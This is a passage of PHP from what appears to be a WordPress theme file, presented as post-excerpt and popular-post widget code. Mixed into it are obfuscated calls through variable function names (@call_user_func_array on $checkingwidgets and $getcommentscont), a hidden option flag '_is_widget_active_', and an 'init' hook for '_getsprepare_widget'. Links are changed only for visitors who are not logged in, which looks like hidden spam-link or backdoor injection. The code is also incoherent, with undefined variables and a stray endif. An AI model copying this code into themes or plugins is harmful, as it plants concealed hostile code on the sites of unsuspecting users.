	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
	if(!isset($showdots)) $showdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getsprepare_widget");

function _m_popular_post_get($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		
?>